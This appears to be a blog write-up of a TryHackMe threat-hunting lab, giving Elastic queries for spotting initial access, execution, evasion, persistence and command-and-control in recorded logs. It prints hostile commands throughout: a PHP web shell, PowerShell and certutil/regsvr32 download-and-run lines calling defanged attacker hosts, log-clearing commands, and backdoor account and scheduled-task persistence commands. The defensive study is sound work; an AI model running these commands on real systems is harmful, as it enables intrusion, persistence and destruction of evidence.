Post

TryHackMe Threat Hunting Foothold

TryHackMe Threat Hunting Foothold

Disclaimer: This post contains my personal notes and methodology for the respective TryHackMe room. All the credits for the room and the lab environment go to the original creators at TryHackMe. Flags are not revealed to preserve the challenge for others.

Objective

Are your organisation’s defences robust enough to detect intrusion attempts by adversaries? Are you equipped to hunt for covert signs of intrusion, even when the threat actors have only just breached your perimeters? Can you use high-quality data and advanced analytics to identify abnormal behaviour and stop attacks before they escalate?

  • Understanding the attacker’s mindset in achieving initial access.
  • Correlating succeeding actions executed by an attacker after obtaining a foothold.
  • Differentiating suspicious host and network events from benign ones.
  • Getting acquainted with the MITRE Tactics involved once an attacker gets inside the target organisation.

Details

All of the logs are for the date July 3, 2023. This is the day a supposed attack happened, and you have to analyze logs for this day alone.

This is quite a long post, with a lot of details. But you don’t have to focus on everything. The tactics, techniques, and ways to hunt are what is important.

Indices

  • Filebeat - Contains all logs (Syslog, Apache, and Auditd logs) generated by Linuxservers in the emulated network.
  • Winlogbeat - Contains all events (Windows Event Logs and Sysmon) generated by Windows machines.
  • Packetbeat - Contains network traffic events generated by the workstations and servers.

Workstations and Servers in Emulated network

HostOperating SystemPurpose
JUMPHOSTUbuntu 20.04Serves as the Bastion server for managing access to the internal network from an external network.
WEB01Ubuntu 20.04The external-facing web application of the emulated organisation.
WKSTN-1Windows 10Employee workstation
WKSTN-2Windows 10Employee workstation
DC01Windows Server 2019Domain Controller of internal network

Initial Access β€” MITRE ATT&CK (TA0001)

Techniques Overview

IDTechniqueBrief Description
T1189Drive-by CompromiseUser visits a malicious/compromised website
T1190Exploit Public-Facing ApplicationExploiting bugs in internet-facing apps
T1133External Remote ServicesAbusing VPN, RDP, Citrix, etc.
T1200Hardware AdditionsMalicious physical devices plugged in
T1566PhishingMalicious emails (spearphishing, attachments, links)
T1091Replication Through Removable MediaMalware spread via USB drives
T1195Supply Chain CompromiseTampering with software/hardware before delivery
T1199Trusted RelationshipAbusing third-party access (MSPs, contractors)
T1078Valid AccountsUsing stolen/default/legitimate credentials

πŸ“Š Most Abused in the Wild

1
2
3
4
5
Phishing (T1566)              β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ  ~70%
Valid Accounts (T1078)        β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ      ~55%
External Remote (T1133)       β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ          ~40%
Public App Exploit (T1190)    β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ             ~30%
Supply Chain (T1195)          β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ                 ~15%

πŸ›‘οΈ Key Mitigations

  • MFA on all remote access services
  • Patch management for public-facing apps
  • Email filtering + user awareness training
  • Zero Trust for third-party access
  • Endpoint controls to block removable media
  • Software integrity checks for supply chain

Gaining a foothold (initial access) does not pertain to compromising one specific host, but rather anything that can be leveraged to access the target infrastructure.


Hunting Initial Access

Hunting strategies vary based on the attack techniques. Your approaches must be adaptable. Here, we will focus on three different scenarios:

  1. Brute-forcing attempts via SSH.
  2. Exploitation of a web application vulnerability.
  3. Phishing via links and attachments.

Brute-forcing via SSH

Jumphost, index:filebeat-*

Many failed attempts, followed by successful attempt, in authentication events.

We will use Visualize Library option in Elastic, using Lens.

1
host.name: jumphost AND event.category: authentication AND system.auth.ssh.event: "Failed"

Something

Top two IP’s seem very suspicious. Let’s check for successful authentication.

Replace the kql query alone

host.name: jumphost AND event.category: authentication AND system.auth.ssh.event: Accepted AND source.ip: (167.71.198.43 OR 218.92.0.115)

Attacker IP is 167[.]71[.]198[.]43

Remote code execution

Web01, index:packetbeat-*

Web application attacks start with enumeration and proceed with exploiting discovered vulnerabilities.

Same as before, use visualize library. Add http.response.status_code, and use the following kql query

host.name: "web01" and network.protocol: "http" and destination.port: 80

Something

Why this is directory enumeration? Because the attacker is using some sort of wordlist to check which subdirectories exist, and most of them result in 404 errors.

To check what’s happening further:

host.name: web01 AND network.protocol: http AND destination.port: 80 AND source.ip: 167.71.198.43 AND http.response.status_code: 404

See the url of the query, and user agent used. Here it happens to be gobuster

Now, all of you have to do here, is switch the response code to 200, 301 and 302 to focus on valid web endpoints accessed by the attacker.

Initial Access in Web

Wait, what is β€œgila”?

β€œGILA” β€” Gila CMS & PHP RCE via GET + system()

Gila CMS = lightweight open-source PHP CMS, not very common, but seen in CTFs (HackTheBox, TryHackMe).


πŸ”΄ Vulnerable PHP Web Shell
1
<?php system($_GET['cmd']); ?>

Usage:

1
2
3
http://target.com/shell.php?cmd=whoami
http://target.com/shell.php?cmd=cat+/etc/passwd
http://target.com/shell.php?cmd=find+/-perm+-4000+2>/dev/null

Gila CMS RCE Methods
  • Upload PHP shell via media/file manager (authenticated)
  • CVE-2019-11022 β€” path traversal + file write
  • Access shell via GET parameter

Phishing

winlogbeat-, links and attachments being downloaded from employee workstations.

Look for files downloaded using a web browser and files opened from email clients (outlook, thunderbird).

host.name: WKSTN-* AND process.name: chrome.exe AND winlog.event_id: 11

event ID 11 for file downloads.

Add the following fields to have more insight:

  • winlog.computer_name
  • winlog.event_data.User
  • file.path

Phishing downloads

ignore the .tmp files. They are downloaded automatically by chrome.exe when a file is being downloaded.

Now, change the process to outlook.exe, to see what was downloaded through the email client.

We find that, at a specific location, Update.zip was stored, because it was opened by the user.

host.name: WKSTN-* and *Update.zip*

results in a few results, where you can see LNK files.

Phishing downloads

To view what was spawned by the shortcut, click on the dropdown for one of those events, and view Surrounding documents.

Add process.executable, before you do the above. And you will find a very popular command line tool used in windows, being spawned.

Execution β€” MITRE ATT&CK (TA0002)

Techniques Overview

IDTechniqueBrief Description
T1059Command and Scripting InterpreterAbuse of shells/scripting languages
T1609Container Administration CommandExec commands inside containers
T1610Deploy ContainerDeploy rogue container to run payloads
T1203Exploitation for Client ExecutionExploit client-side apps
T1559Inter-Process CommunicationAbuse IPC (COM, DDE)
T1106Native APIDirect OS API calls
T1053Scheduled Task/JobCron, Task Scheduler, systemd timers
T1648Serverless ExecutionAbuse Lambda, Azure Fn, GCP Functions
T1129Shared ModulesLoad malicious shared libraries
T1072Software Deployment ToolsAbuse SCCM, Ansible, PDQ
T1569System ServicesExecute via service creation
T1204User ExecutionTrick user into running malicious content
T1047WMIAbuse WMI for execution

πŸ’» T1059 β€” Command and Scripting Interpreter

Sub-techniqueIDDescription
PowerShellT1059.001Download, execute, bypass β€” most abused
Windows CMDT1059.003cmd.exe batch scripting
Bash ShellT1059.004Unix/Linux shell execution
Visual BasicT1059.005VBA macros in Office docs
**Python** T1059.006Cross-platform payload execution
JavaScriptT1059.007.js files via WScript/Node
1
2
3
4
5
6
# Fileless download + execute
IEX (New-Object Net.WebClient).DownloadString('hxxp[://]evil[.]com/payload[.]ps1')
# Bypass execution policy
powershell -ExecutionPolicy Bypass -File malicious.ps1
# Encoded command
powershell -EncodedCommand <Base64Payload>

Also PHP, often when there are web applications involved.

Knowing the backend application used by the target vulnerable web server, you can pre-determine the programming tools that exist in the target machine.


πŸ“… T1053 β€” Scheduled Task/Job

Sub-techniqueIDPlatform
CronT1053.003Linux/macOS
Scheduled TaskT1053.005Windows
Systemd TimersT1053.006Linux
Container Orchestration JobT1053.007Kubernetes
1
2
echo "* * * * * /tmp/malware.sh" >> /etc/crontab
schtasks /create /tn "WindowsUpdate" /tr "C:\malware.exe" /sc onlogon

πŸ–±οΈ T1204 β€” User Execution

Sub-techniqueIDDescription
Malicious LinkT1204.001User clicks link that runs payload
Malicious FileT1204.002User opens weaponized doc/exe
Malicious ImageT1204.003Rogue VM/container image

πŸ”— Execution Attack Chain

1
2
3
Phishing (T1566) β†’ User Opens Doc (T1204.002)
β†’ VBA Macro (T1059.005) β†’ PowerShell (T1059.001)
β†’ Downloads Payload (fileless) β†’ Persistence (T1053.005)

πŸ“Š Most Abused in the Wild

1
2
3
4
5
PowerShell (T1059.001)        β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ  ~75%
WMI (T1047)                   β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ      ~55%
CMD (T1059.003)                β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ       ~50%
Scheduled Tasks (T1053.005)   β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ         ~45%
User Execution (T1204)        β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ          ~40%

πŸ›‘οΈ Mitigations

MitigationDetail
Script Block LoggingLog PowerShell (Event ID 4104)
AMSIIntercepts malicious scripts
AppLocker / WDACWhitelist executables/scripts
Disable MacrosBlock or allow only signed Office macros
EDR MonitoringDetect abnormal process chains
Disable WMI RemotingRestrict WMI over network

Hunting Execution

  1. Suspicious usage of command-line tools.
  2. Abuse of built-in system tools.
  3. Execution via programming/scripting tools.

Suspicious usage of command-line tools

winlogbeat-*, . Hunt for execution of Powershell and Command Prompt from Employee workstations. Why workstations? Because they are infected/compromised.

Use the discover tab, and start with the following query:

host.name: WKSTN-* AND winlog.event_id: 1 AND process.name: (cmd.exe OR powershell.exe)

There are many suspicious commands, and they are as follows (host, user.name, command_line, parent_command_line):

1
2
3
4
WKSTN-2.threathunting.thm
bill.hawkins
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -windowstyle hidden iex(iwr hxxp[://]www[.]oneedirve[.]xyz/321c3cf/INSTALL[.]txt -useb)
C:\Windows\Explorer.EXE
1
2
3
4
WKSTN-1.threathunting.thm
clifford.miller
cmd /c "whoami /priv"
C:\Windows\Temp\installer.exe
1
2
3
4
WKSTN-1.threathunting.thm
clifford.miller
cmd /c "powershell iwr hxxp[://]www.oneedirve.xyz/321c3cf/dev.py -outfile C:\Windows\Tasks\dev.py; python3 C:\Windows\Tasks\dev.py;"
C:\Windows\Temp\installer.exe

Another way to hunt for Powershell execution is, through Powershell’s Script Block Logging

Windows Event ID 4104 β€” PowerShell Script Block Logging
Basic Info
FieldDetail
Log LocationMicrosoft-Windows-PowerShell/Operational
LevelWarning (suspicious) / Verbose (normal)
IntroducedPowerShell v5.0 / Windows 10 & Server 2016

πŸ’‘ Even Base64-encoded/obfuscated payloads are logged after decoding.


Key Fields to Investigate
FieldWhat to Look For
ScriptBlockTextIEX, DownloadString, encoded strings
PathEmpty = fileless/interactive
ScriptBlockIdLinks multi-part blocks
Level = WarningAuto-flagged as suspicious by Windows

Event IDDescription
4103Module logging
4104Script block logging ← main one
4688Process creation
400/600PowerShell engine/provider started

host.name: WKSTN-* AND winlog.event_id: 4104. This query however, generates a lot of noise that must be removed. For the field, powershell.file.script_block_text, remove the β€œSet-StrictMode” events.

Removing "Set-StrictMode" events

1
2
3
4
5
6
7
8
WKSTN-1.threathunting.thm
function Invoke-Empire {
    param(
        [Parameter(Mandatory=$true)]
        [String]
        $StagingKey,
        [Parameter(Mandatory=$true)]
        [String]

Invoke-Empire is a signature of the Empire C2 (command and control) agent

Known strings to look for when hunting for powershell and cmd commands
  • invoke/iex
  • -enc/-encoded
  • bypass
  • -executionpolicy
  • Download
  • WebRequest
  • -noprofile / -nop

Built-in System Tools

*winlogbeat-* *, hunt for built-in Windows binaries from employee workstations.

Common LOTL/LOLBAS (Living Off the Land Binaries) to look out for are:

  • mshta.exe
  • certutil.exe
  • regsvr32.exe
host.name: WKSTN-* AND winlog.event_id: (1 OR 3) AND (process.name: (mshta.exe OR certutil.exe OR regsvr32.exe) OR process.parent.name: (mshta.exe OR certutil.exe OR regsvr32.exe))

In our scenario, All three binaries have been used:

  • certutil.exe to install installer.exe
    • ` certutil -urlcache -split -f hxxp[://]www[.]oneedirve[.]xyz/321c3cf/installer[.]exe C:\Windows\Temp\installer.exe `
  • mshta.exe spawned powershell, that had an -enc flag, to encode a suspicious command
  • regsvr32.exe accessed a remote file
    • regsvr32 /s /n /u /i:hxxp[://]www[.]oneedirve[.]xyz/321c3cf/teams[.]sct scrobj.dll

Programming and Scripting tools

winlogbeat-*, hunt for scripting/programming tools from employee workstations.

These include:

  • python
  • javascript, nodejs
  • php
host.name: WKSTN-* AND winlog.event_id: (1 OR 3) AND (process.name: (*python* OR *php* OR *nodejs*) OR process.parent.name: (*python* OR *php* OR *nodejs*))

1 for process execution, and 3 for network connections, winlog event ID in the above kql query

Python used

Now, just like in a previous step, it’s important to note the PID and use it as Parent PID to see what its child processes are doing.

Child processes

Defense Evasion β€” MITRE ATT&CK (TA0005)

Key Techniques Overview

IDTechniqueBrief Description
T1562Impair DefensesDisable AV, EDR, logging
T1070Indicator RemovalClear logs, timestomping
T1036MasqueradingRename malware to look legitimate
T1055Process InjectionInject into legitimate processes
T1027Obfuscated FilesEncode/pack/steganography payloads
T1218System Binary Proxy ExecutionLOLBins β€” rundll32, certutil, mshta
T1134Access Token ManipulationSteal/forge tokens
T1497Sandbox EvasionDetect VMs, sleep, check resources
T1574Hijack Execution FlowDLL hijacking, PATH abuse
T1014RootkitHide at kernel/OS level

πŸͺ΅ T1070 β€” Indicator Removal

1
2
3
wevtutil el | ForEach-Object { wevtutil cl "$_" }          # Clear all logs
(Get-Item C:\malware.exe).LastWriteTime = "01/01/2020"     # Timestomping
Remove-Item (Get-PSReadlineOption).HistorySavePath         # Clear PS history

πŸ”„ T1218 β€” LOLBins

BinaryAbuse
certutil.exeDownload + decode payloads
rundll32.exeExecute malicious DLL
mshta.exeRun HTA/VBScript
regsvr32.exeSquiblydoo β€” run remote script
msiexec.exeInstall remote MSI payload
1
2
3
certutil -urlcache -split -f hxxp[://]evil[.]com/payload[.]b64 out.b64
regsvr32 /s /n /u /i:hxxp[://]evil[.]com/payload[.]sct scrobj.dll
rundll32.exe evil.dll,EntryPoint

πŸ“Š Most Abused in the Wild

1
2
3
4
5
Obfuscation (T1027)        β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ  ~72%
Masquerading (T1036)       β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ      ~58%
Process Injection (T1055)  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ       ~55%
Impair Defenses (T1562)    β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ         ~48%
LOLBins (T1218)            β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ          ~45%

πŸ›‘οΈ Mitigations

MitigationDetail
EDRDetect injection, LOLBin abuse
Script Block LoggingEvent ID 4104
SysmonProcess, DLL, network monitoring
AppLocker/WDACBlock unauthorized binaries
Log Forwarding to SIEMPrevent local log clearing
AMSIScan scripts before execution

Hunting for Defense Evasion

  1. Disabling Security Software
  2. Log Deletion Attempts
  3. Executing Shellcode through process injection

Disabling security software

winlogbeat-, hunt for attempts to disable Windows Defender in Employee Workstations .

host.name: WKSTN-* AND (*DisableRealtimeMonitoring* OR *RemoveDefinitions*)
  • DisableRealtimeMonitoring: often used with Powershell’s Set-MPPreference
  • RemoveDefinition : often used with built-in MpCmdRun.exe (Malware Protection Command Line Utility, Windows Defender command line) to remove existing signatures of Windows Defender.
    • -RemoveDefinition rolls back the version to previous update. So new hash signatures of malwares are removed, the ones that came with the latest update.
    • -RemoveDefinition -all removes all signatures. Defender has no signatures. It cannot detect known threats.

Disable Security Software

Log deletion

winlogbeat-, hunt for log deletion attempts

For Windows, Windows Event ID: 1102 logs are generated when a user attempts to delete windows logs

host.name: WKSTN-* AND winlog.event_id: 1102

Here, when you find results, chances are, nothing shows up, no command line information or pid etc. Click View Surrounding Documents for those logs.

When you do that, you will find the command used to clear the event logs. It will be something like powershell Clear-EventLog -LogName ...

Executing Shellcode through Process Injection

winlogbeat-, hunt for process injection from employee workstations.

Process Injection β€” T1055

Injecting malicious code into legitimate process memory to hide execution and evade AV/EDR.

Why: Runs under trusted process, no file on disk, inherits privileges.

Sub-techniques
IDNameHow
T1055.001DLL InjectionLoad malicious DLL into target
T1055.002PE InjectionWrite shellcode into process memory
T1055.012Process HollowingSpawn legit process, replace memory
T1055.004APC InjectionQueue code via APC mechanism
T1055.013Process DoppelgΓ€ngingNTFS transactions to evade AV

πŸ” Hunting β€” Key Event IDs
Event IDLogWhat to Look For
4688SecuritySuspicious parent-child process
4104PS/OperationalVirtualAlloc, WriteProcessMemory in scripts
7SysmonDLL loaded into unexpected process
8SysmonCreateRemoteThread ← main indicator
10SysmonOpenProcess with 0x1F0FFF access rights

πŸ›‘οΈ Mitigations
  • Sysmon Event ID 8 + 10 (CreateRemoteThread and OpenProcess)
  • EDR memory anomaly detection
  • PPL β€” Protected Process Light

host.name: WKSTN-* AND winlog.event_id: 8

Process Injection

Persistence β€” MITRE ATT&CK (TA0003)

Key Techniques

IDTechniqueBrief Description
T1547Boot/Logon AutostartRegistry Run keys, Startup folder
T1543Create/Modify System ProcessMalicious services, systemd
T1053Scheduled Task/JobCron, Task Scheduler
T1546Event Triggered ExecutionWMI, accessibility features, COM
T1505Server Software ComponentWeb shells, IIS modules
T1136Create AccountHidden local/domain/cloud accounts
T1137Office Application StartupMalicious macros, add-ins
T1078Valid AccountsMaintain stolen credentials

πŸ”΄ Common Persistence Commands

Registry Run Key

1
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /d "C:\malware.exe" /f

Windows Service

1
sc create PersistSvc binPath= "C:\malware.exe" start= auto

Scheduled Task

1
schtasks /create /tn "Updater" /tr "C:\malware.exe" /sc onlogon /ru SYSTEM

Hidden Account

1
2
3
net user backdoor P@ssw0rd! /add
net localgroup administrators backdoor /add
reg add "HKLM\...\SpecialAccounts\UserList" /v backdoor /t REG_DWORD /d 0 /f

Accessibility Backdoor

1
copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe

πŸ” Hunting β€” Key Event IDs

Event IDLogWhat to Hunt
4698SecurityScheduled task created
7045SystemNew service installed
4720SecurityNew user account created
4732SecurityUser added to admin group
4657SecurityRegistry Run key modified
12/13SysmonRegistry persistence keys
11SysmonFile in Startup folder

πŸ“Š Most Abused

1
2
3
4
5
Registry Run Keys     β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ  ~68%
Scheduled Tasks       β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ    ~62%
Windows Services      β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ      ~55%
Web Shells            β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ         ~45%
WMI Subscriptions     β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ            ~35%

πŸ›‘οΈ Mitigations

  • Autoruns β€” enumerate all persistence locations
  • Sysmon β€” registry, file, service monitoring
  • Restrict service/task creation via GPO
  • MFA β€” reduce value of backdoor accounts
  • EDR β€” detect WMI subscriptions

Hunting Persistence

  1. Scheduled Task Creation
  2. Registry Key Modification

Scheduled Task Creation

winlogbeat-*, hunt for scheduled task creation attempts in employee workstations.

Usually, schtasks or Register-ScheduledTask will be involved.

host.name: WKSTN-* AND (winlog.event_id: 4698 OR (*schtasks* OR *Register-ScheduledTask*))
1
"C:\Windows\system32\cmd.exe" /c schtasks /CREATE /TN "Windows Update" /TR "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''hxxp[://]www[.]oneedirve[.]xyz/321c3cf/INSTALL[.]txt'''))'" /SC minute /MO 1

Registry key modification

winlogbeat-*, hunt for unusual registry modifications.

host.name: WKSTN-* AND winlog.event_id: 13 AND winlog.channel: Microsoft-Windows-Sysmon/Operational

This results in many hits, exactly 1481 results, which is a lot. To narrow down, we could use known registry keys that are usually modified by threat actors.

  • Software\Microsoft\Windows\CurrentVersion\Explorer\Shell (User Shell Folders)
  • Software\Microsoft\Windows\CurrentVersion\Run (RunOnce)

These are only two examples. Threat actors target many others too.

host.name: WKSTN-* AND winlog.event_id: 13 AND winlog.channel: Microsoft-Windows-Sysmon/Operational AND registry.path: (*CurrentVersion\\Run* OR *CurrentVersion\\Explorer\\User* OR *CurrentVersion\\Explorer\\Shell*)

One entry is very suspicious:

1
2
3
4
5
13

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend\1

"C:\Windows\Temp\installer.exe"

What happens here is, the installer.exe is set to be executed on startup.

Another way to hunt for registry modifications, is through processes like reg.exe or powershell.exe

host.name: WKSTN-* AND winlog.event_id: 13 AND winlog.channel: Microsoft-Windows-Sysmon/Operational AND process.name: (reg.exe OR powershell.exe)

Note down the process pid, and use that to see the command executed to modify this registry key.

Command and Control β€” MITRE ATT&CK (TA0011)

Key Techniques

IDTechniqueBrief Description
T1071Application Layer ProtocolHTTP, DNS, SMTP for C2
T1573Encrypted ChannelTLS/custom encryption
T1568Dynamic ResolutionFast-flux, DGA domains
T1572Protocol TunnelingDNS/ICMP tunneling
T1090ProxyMulti-hop, domain fronting
T1102Web ServiceGitHub, Pastebin, Discord as C2
T1095Non-Application LayerICMP, raw TCP, SMB pipes
T1219Remote Access SoftwareAnyDesk, ngrok, TeamViewer

FrameworkNotes
Cobalt StrikeMost abused β€” Beacon payload
SliverOpen-source, mTLS/HTTP/DNS
HavocModern open-source
Brute RatelEDR-evasion focused
MythicModular open-source

πŸ” Hunting β€” Sysmon Events

Event IDDescription
3Network connection per process
22DNS query per process
1Suspicious process creation

πŸ“Š Most Abused

1
2
3
4
5
HTTPS C2 (T1071.001)         β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ  ~75%
DNS Tunneling (T1071.004)    β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ      ~52%
Domain Fronting (T1090.004)  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ         ~44%
Web Services (T1102)         β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ          ~40%
DGA (T1568.002)              β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ             ~32%

πŸ›‘οΈ Mitigations

MitigationDetail
TLS InspectionDecrypt + inspect HTTPS C2
DNS FilteringBlock DGA, high-entropy domains
JA3 FingerprintingIdentify known C2 TLS signatures
Egress FilteringBlock non-standard outbound ports
Proxy EnforcementForce traffic through web proxy
Restrict RMM ToolsWhitelist approved remote access

Hunting Command and Control

  1. DNS
  2. Third-Party Cloud Applications
  3. HTTPS

DNS

packetbeat-*, hunt for C2 over DNS. Use winlogbeat-* to correlate DNS queries to identify malicious process generating it.

Usually, when using DNS, you should look for unusual queries. There might be a lot, with unique weird subdomains, or unusal queries based on query types like CNAME, MX, TXT.

We will use Visualization library using Lens again for this.

C2 domain queries

Now, we can go back to the Discover tab, and use the information gained to learn more.

network.protocol: dns AND NOT dns.question.name: *arpa AND dns.question.registered_domain: golge.xyz AND host.name: WKSTN-1

C2 subdomains

Something weird here is, the DNS traffic is sent directly to a specific IP address, not the DNS servers configured in the workstation.

We can go back to winlogbeat-* now, with the new found information, and find relevant windows logs

host.name: WKSTN-1* AND destination.ip: 167[.]71[.]198[.]43 AND destination.port: 53

nslookup.exe is used, and when View Surrounding Documents is used, we find more details, including the command and link from which a specific dns tool was installed.

Ensure you add process.command_line and process.parent.command_line. These two fields are highly useful, and sometimes they are not available after narrowing down the logs, but useful when you view surrounding documents.

Cloud Apps

packetbeat-*, hunt for C2 over known cloud apps. Use winlogbeat-* to correlate and identify malicious process generating it.

Known good cloud applications are used by threat actors to evade detection during C2.

Once again, we can use the visualization library, and check out for domains. We will see that discord is used.

host.name: WKSTN-1* AND *discord.gg*

We can go back to winlogbeat-* and use the above kql query

Discord

Since we know installer.exe is initiating this, what other processes are spawned by it?

host.name: WKSTN-1* AND winlog.event_id: 1 AND process.parent.executable: "C:\\Windows\\Temp\\installer.exe"

HTTPS

packetbeat-*, hunt for C2 over HTTPS. Use winlogbeat-* to correlate to identify malicious process generating it.

  • High count of traffic to distinct domains, probably owned by the attackers
  • High outbound HTTP bandwidth to unique domains.

HTTPS

We can narrow down further on this

host.name: WKSTN-* AND network.protocol: http AND network.direction: egress AND destination.domain: cdn.golge.xyz

HTTPS php endpoints

To correlate with winlogbeat-* logs: host.name: WKSTN-* AND *cdn.golge.xyz*

Key Takeaways & Hunting

TA0001 β€” Initial Access

Techniques: Phishing, Exploit public apps, Valid accounts

Hunt:

  • Event ID 4625 β€” failed logon
  • Event ID 4648 β€” explicit credential use
  • WAF logs β€” exploit attempts
  • Email gateway β€” suspicious attachments/links

TA0002 β€” Execution

Techniques: PowerShell, WMI, Scheduled Tasks, User execution

Hunt:

  • Event ID 4104 β€” PS script block (IEX, DownloadString, EncodedCommand)
  • Event ID 4688 β€” suspicious parent-child process
  • Sysmon 1 β€” process creation

TA0003 β€” Persistence

Techniques: Run Keys, Services, Scheduled Tasks, Web Shells, Hidden accounts

Hunt:

  • Event ID 4698 β€” scheduled task created
  • Event ID 7045 β€” new service
  • Event ID 4720/4732 β€” new account / added to admins
  • Sysmon 11/13 β€” startup folder / run key writes
  • Run Autoruns regularly

TA0005 β€” Defense Evasion

Techniques: Obfuscation, Process Injection, LOLBins, Disable Defender, Masquerading

Hunt:

  • Event ID 4104 β€” deobfuscated PS content
  • Sysmon 8 β€” CreateRemoteThread (injection)
  • Sysmon 7 β€” unexpected DLL loads
  • Alert: MpCmdRun -RemoveDefinitions, wevtutil cl, LOLBin network activity

TA0011 β€” Command & Control

Techniques: HTTPS beaconing, DNS tunneling, Domain fronting, DGA, RMM abuse

Hunt:

  • Sysmon 3 β€” outbound connections per process
  • Sysmon 22 β€” DNS queries per process
  • Beacon intervals, high-entropy DNS, long HTTP sessions
  • Alert on ports 4444, 8080, 1337
  • JA3/JA3S fingerprinting

πŸ—ΊοΈ Attack Chain

1
Initial Access β†’ Execution β†’ Persistence β†’ Defense Evasion β†’ C2

πŸ” Universal Hunt Checklist

PriorityMonitorEvent
⭐⭐⭐PowerShell blocks4104
⭐⭐⭐Process chains4688 / Sysmon 1
⭐⭐⭐Outbound per processSysmon 3+22
⭐⭐New services/tasks7045, 4698
⭐⭐New accounts/privesc4720, 4732
⭐⭐Run key changesSysmon 13
⭐⭐Remote thread creationSysmon 8

πŸ›‘οΈ Top Mitigations

ControlTactics Covered
MFAInitial Access, Persistence
EDRExecution, Evasion, Injection
SysmonAll tactics
Script Block LoggingExecution, Evasion
DNS FilteringC2, Initial Access
Log Forwarding to SIEMAll tactics
Tamper ProtectionDefense Evasion

This post is licensed under CC BY 4.0 by the author.